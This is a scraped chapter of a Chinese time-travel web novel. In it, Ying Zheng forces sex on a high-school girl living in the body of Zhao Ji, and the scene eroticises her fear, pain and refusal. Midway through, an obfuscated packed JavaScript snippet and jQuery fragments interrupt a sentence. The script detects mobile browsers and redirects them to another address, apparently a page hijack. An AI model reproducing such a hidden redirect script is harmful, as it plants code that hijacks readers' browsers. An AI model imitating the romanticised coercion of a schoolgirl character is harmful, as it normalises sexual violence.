默认冷灰
24号文字
方正启体

27. [锁] [此章节已锁]

作者:夜城絮景本书字数:K更新时间:
    房间里的空气变得粘稠,带着一种暧昧的暖意包裹着两人。


    娮娮依旧僵硬,双手死死拽着裙带。


    忽地,她感受到嘴里的那个软物缓缓后撤,接着完全退离她的唇。


    娮娮怔怔地望着嬴政,昏暗中她看不清楚他的脸,却明显感觉到他心情又不好了。


    可她哪敢问他为什么心情不好,正庆幸自己终于脱离他的魔爪,不料下一瞬嬴政却突然弯腰将她打横抱起。


    “啊!”娮娮惊地叫了出来。


    “政儿,你要做什么?”娮娮慌极了。


    嬴政一言不发抱着她往床榻边走,娮娮饶是白纸也知道他这是想要做什么,她的心提到了嗓子眼,声音都带着哭腔:“政儿,你快回去歇着吧,都这么晚了。”


    “寡人今夜与母后同睡。”他音调沉沉,三两步走到床边将娮娮放下,接着开始脱身上这件衣服。


    娮娮立刻上前握住嬴政的手腕,竭力平稳语调:“政儿,你要做什么…”


    嬴政看着她握着自己的那双不大的手,脱.衣的动作一顿,敛眸看向她。


    眼睛睁的这样大,泪汪汪的,跟只受惊了的兔子似的。


    “母后,寡人想与您做枕席之事而已。”说着,他继续脱,不忘提醒娮娮:“母后怎么不脱?还是想让寡人为您脱?”


    娮娮愣住,僵硬地收回手,可怜兮兮地不说话了。


    她脸涨的通红,可嘴又太笨,面对嬴政这样一头不羞不臊的狼,她无可奈何,根本拒绝不了。


    完全是哑巴吃黄连有苦说不出。


    她是那样乖巧,和男同学多对视一眼都要脸红的小呆瓜,如今却要被迫和他做那种事。


    她原是不懂也不好奇的,只管安安静静待在自己的小世界里,脑子里只有读书二字。


    青玉偶尔同她讲那种事,她不好意思听,青玉硬要讲,她却听得一知半解。


    娮娮越想越委屈,却又不敢哭出声来,只能任由眼泪无声地滑落。


    到底怎样才能让她回去…


    这么多天过去,爸爸妈妈找不见自己一定担心坏了…


    还有二月底的大联考,老师说这次模拟考试非常重要,可她肯定错过了,等她回去不知道还能不能跟上复习进度,这些天没做的试卷也不知堆成了怎样一座山…


    嬴政早已脱了身上的衣服,他见娮娮低头发呆,又是没由来的烦躁。


    他眉头一皱,直接俯身将娮娮扑倒。


    “啊!”娮娮本能地叫了出来。


    嬴政浓重的气息扑面而来,宽阔的胸膛将娮娮完全包裹,她这会儿是哭也顾不得哭,只惊惧地望着嬴政近在咫尺的脸。


    嬴政按着娮娮的肩膀,明显感受到身下的人在发.抖。


    紧张?还是害怕?


    不过他猜,大概是不情愿。


    两人无声地对视片刻,娮娮一句话不敢说,她怕极了。


    青玉曾对她说,这种事要等她们上了大学谈了恋爱,仔细考虑认真斟酌后才能和男朋友做的,可是赵姬嬴政这对道德败坏的母子居然也要做这种事,娮娮的三观被他们母子二人刷新的天崩地裂。


    “母后,您怎么在发.抖?”嬴政终于开口说话,温热清冽的气息喷洒在娮娮的脸庞,他左手顺着娮娮的肩膀逐渐向她脖颈靠近,接着指尖探入她衣领中,肌肤相触,娮娮随即惊地浑身一颤。


    何止是身体,她的声音都在发颤,却还要伪装成一副无关紧要的模样对嬴政说:“政儿,母后有些累了,想睡觉了…”


    听到后半句,嬴政不知怎的忽地低低地笑出了声,笑得肩膀一颤一颤的,性感的嗓音传进了娮娮耳中。


    原来不是不情愿,是累的不想动。


    也是,饿了她那么久,又使唤她搬柴生火,还骗她吃羊颈肉,小小的身板儿当然没什么力气。


    娮娮不明白他为什么要笑,他这人好阴晴不定的,又将懵懂无知的她搞的十分尴尬。


    嬴政干脆埋在她颈窝咧嘴笑了个够,嗓音越发低醇磁性,他温热的气息浓厚,烫的娮娮缩了缩脖子,小脸早已通红。


    “母后,这次您怎么比寡人还迫切?”他还在笑,侧头在她颈间辗转吻着。


    可怜的娮娮听不太懂,还没反应过来就又听到嬴政说:“睡觉而已,和寡人睡不也是睡么?寡人今夜好好侍奉您。”


    这下娮娮听懂了,可她根本不是这个意思,是嬴政曲解她了。


    “政儿,母后不是这个——啊——”


    娮娮话还没说完,嬴政突然将她的衣领扒了下来,露出一片雪光。


    “政儿!母后是想自己——唔——”


    这次是连嘴巴也一道堵上了。


    上边被堵着,嬴政手倒也没闲着,三两下熟练地将娮娮剥了个一干二净。


    身上没了衣服,娮娮先是觉得一阵冷,后来却觉得滚烫无比,只因嬴政同样赤.裸的身体贴了上来。


    他的身体带着男人特有的浓重气息和滚烫的体温,急切地靠近自己,娮娮一双小腿扑腾,可还未实质性地踢到他,她的一双腿便被他的膝盖强硬分开了。


    再也合不上,再也关不严。


    “母后,您这次实在闹腾了些。”他笑,眯眼的样子又坏又慵懒,接着他压着身子逼近,“母后累了躺着便是,有寡人呢,不会让您累着。”


    “不是的,政儿——啊——”


    毫无征兆地…


    娮娮疼得挺起腰,眼泪唰地一下喷涌而出,脚趾敏感地收紧,双手紧紧抓着床褥,咬着牙应激性地昂起了下巴。


    嬴政只觉一阵酥麻,更多的是舒爽。


    这是他从未体会过的感觉,今夜细细品味,倒还不错。


    可他半个身子都还没踏进,身下这人反应实在激烈了些。


    也是,这般未经人事的模样,明显是个雏。


    (审核员同志,没脖子以下的描写吖,为什么还锁?)


    这方面他自认为自己没那么畜牲,不像蒙恬蒙毅兄弟二人,那俩人只会蛮干,根本不懂什么叫怜香惜玉,又怎会懂什么叫情趣。


    想到这儿,他心情好了许多,接着缓缓退出,娮娮仍死死抓着床褥咬着牙。


    她好疼,好委屈,好羞.耻,好想逃。


    可在他的地盘,她又如何能逃得脱。


    嬴政的吻落在自己身上。


    从左边到右边。


    从上边到下边。


    娮娮一声不吭,默默承受,身体控制不住地发.抖。


    没有人来救她,没有人能把嬴政从她身上赶走。


    娮娮万念俱灰地闭上了眼,咬牙承受他带给她的疼痛。


    他吻了个够,动作缓慢,可身下这人居然一点反应都没有,就直板板地躺着,不哭不闹也不叫。


    他看她的脸,居然闭着眼睛睡着了。


    嬴政蹙眉,十分不爽,让她躺着还真就躺着不动,连个声儿都不出。


    也是,他太过怜香惜玉了,每回只有一点,可他还不是怕她疼?明日返回咸阳还要骑四天的马,她那里哪能受得了四天的颠簸。


    何况根本容不下。


    可这细作居然如此不领情,竟是理都不肯理他。


    他俯身-了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229627|163903||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下她,娮娮也只是咬牙皱了皱眉,愣是一声不吭。


    这下彻底把嬴政激怒,毫不犹豫地,他用了力。


    “啊嗯——”


    (这里也没有脖子以下的描写哇,该删的字都删了,求审核员放过,谢谢谢谢)


    终于,听到他想听的声音了,算是他意料之中。


    她这身子软的要他的命就算了,声音也这么软,嬴政耳朵哪里受的住,只觉得后脊背一阵发麻,心里痒的不行,想弄她想的不行。


    到底是心软,他缓慢退出,吻落在她额头上安抚她,接着下移到她颤.抖的唇,然后是她小小红红的耳垂。


    他恶趣味地舔了下她的耳垂挑.逗她,嗓音低醇,“母后,疼就叫出来,您不叫寡人怎么掌握力度?”


    娮娮真是羞得无地自容,可她什么都做不了,和他相比,她只是一只最微不足道的蝼蚁。


    还是一只来自两千年后未踏足社会的白纸蝼蚁。


    但她是无论如何也不想叫出来,她不知道自己刚才为什么会发出那种声音,她的确疼,可是从没有那样娇柔地叫出来过。


    到底是不通人事的小姑娘,那样的声音,让娮娮觉得羞.耻无比。


    嬴政自是不想在这方面给她留下阴影,何况明日就要启程返回咸阳,是以他之后的每一下都控制着力度和门道。


    也是今夜他才发觉,他居然这么馋她这副身子。


    细作又如何,有小情郎又如何,待他一统六国,全天下都是他嬴政的,自然包括她。


    当然,她现在就是他的,以后也是。


    身是他的,心也只能是他的。


    她那个废物小情郎,哪天若是让他找到了,定要将他折磨的生不如死。


    嬴政满意地笑了。


    “嗯——”娮娮发出了细微的声音,她皱眉不情不愿地叫嬴政名字:“政儿,母后有些疼…”


    娮娮宁愿直接告诉嬴政她疼,也不愿再发出那样的声音,她早已万念俱灰,碎掉的自尊心不允许她那样迎合他。


    嬴政挑了下眉,这细作终于知道张嘴说话了,好在他心情不错,动作即刻就慢了下来。


    嬴政勾着唇在娮娮颈间吻了下,“母后这次倒是肯配合寡人,母后放心,寡人怎舍得母后受疼。”


    他的手经过她的软身逐渐下移摸到她紧握床褥的手,然后掰开,接着抬起放到自己脖子上,另一只手同样如此。


    他说:“母后,搂紧寡人,这床不稳。”


    话毕,他无声坏笑,那模样真是痞的欠揍,接着,他一只大掌探入娮娮身下,拖起她的腰更加贴近自己。


    两人严丝合缝…


    唇齿交融。


    今夜的燕国,风吹的格外冷,可屋内两人竟出了浑身的细汗。


    真是出奇了,身下的她就连出汗都带着一股甜甜的奶香,让他极其沉醉痴迷。


    娮娮的身体腾在半空,被迫紧紧搂着嬴政的脖子。


    这么和他紧紧相贴,娮娮只觉得他的身体坚硬无比,凹凸有致,竟与她完美嵌合。


    屋外狂风呼啸,屋内娮娮似梦似醒,只觉得屋顶一直在晃,晃的她有些头晕眼花。


    嬴政的肩膀宽阔厚重,她那两条白细的胳膊搭在上边,也跟着不断摇晃。


    强悍微弓的脊背,将娮娮完全包裹,她被罩在他囚笼一样的影子底下。


    不知过了多久,数不清多少次的出入,比夜风吹动门框吱呀作响的次数还要多。


    眼泪大概是流干了吧,再也挤不出一滴泪的娮娮终于沉沉睡去,她多么希望再睁开眼时这只是一场噩梦。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)